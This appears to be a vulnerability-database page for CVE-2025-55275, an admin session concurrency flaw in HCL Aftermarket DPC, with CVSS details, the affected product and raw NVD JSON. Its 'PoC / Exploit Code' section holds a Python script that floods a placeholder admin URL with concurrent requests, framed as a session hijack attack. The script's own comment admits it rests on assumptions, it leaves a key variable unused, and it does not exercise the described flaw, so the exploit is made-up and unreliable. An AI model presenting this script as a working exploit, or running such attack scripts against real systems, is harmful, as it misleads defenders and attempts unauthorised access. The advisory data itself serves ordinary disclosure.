Security Vulnerability Report
中文
CVE-2025-55275 CVSS 3.7 LOW

CVE-2025-55275

Published: 2026-03-26 13:16:27
Last Modified: 2026-03-26 20:25:24

Description

HCL Aftermarket DPC is affected by Admin Session Concurrency vulnerability using which an attacker can exploit concurrent sessions to hijack or impersonate an admin user.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:hcltech:aftermarket_cloud:1.0.0:*:*:*:*:*:*:* - VULNERABLE
HCL Aftermarket DPC (具体受影响版本请参考官方公告 KB0129793)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import threading # Proof of Concept for CVE-2025-55275 # This script demonstrates a potential session hijack via concurrency. # Target: HCL Aftermarket DPC (Vulnerable Version) TARGET_URL = "https://target-dpc.example.com/admin" SESSION_COOKIE = "session_id_attacker" ADMIN_COOKIE_HINT = "session_id_admin" # Assumption based on vuln type def send_concurrent_request(thread_id): headers = { "Cookie": f"{SESSION_COOKIE}={thread_id}" } try: # Simulate sending multiple requests to trigger the race condition response = requests.get(TARGET_URL, headers=headers, timeout=5) if response.status_code == 200 and "admin" in response.text: print(f"[+] Thread {thread_id}: Potential Admin Access Gained!") except Exception as e: print(f"[-] Thread {thread_id}: Error {e}") if __name__ == "__main__": print("[*] Starting Concurrent Session Attack...") threads = [] for i in range(50): t = threading.Thread(target=send_concurrent_request, args=(i,)) threads.append(t) t.start() for t in threads: t.join() print("[*] Attack finished.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55275", "sourceIdentifier": "[email protected]", "published": "2026-03-26T13:16:27.187", "lastModified": "2026-03-26T20:25:24.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL Aftermarket DPC is affected by Admin Session Concurrency vulnerability using which an attacker can exploit concurrent sessions to hijack or impersonate an admin user."}, {"lang": "es", "value": "HCL Aftermarket DPC está afectado por una vulnerabilidad de concurrencia de sesiones de administrador, mediante la cual un atacante puede explotar sesiones concurrentes para secuestrar o suplantar a un usuario administrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-557"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:aftermarket_cloud:1.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "C71E5E64-ED4C-4763-8A74-5F9DDCFD13DA"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0129793", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}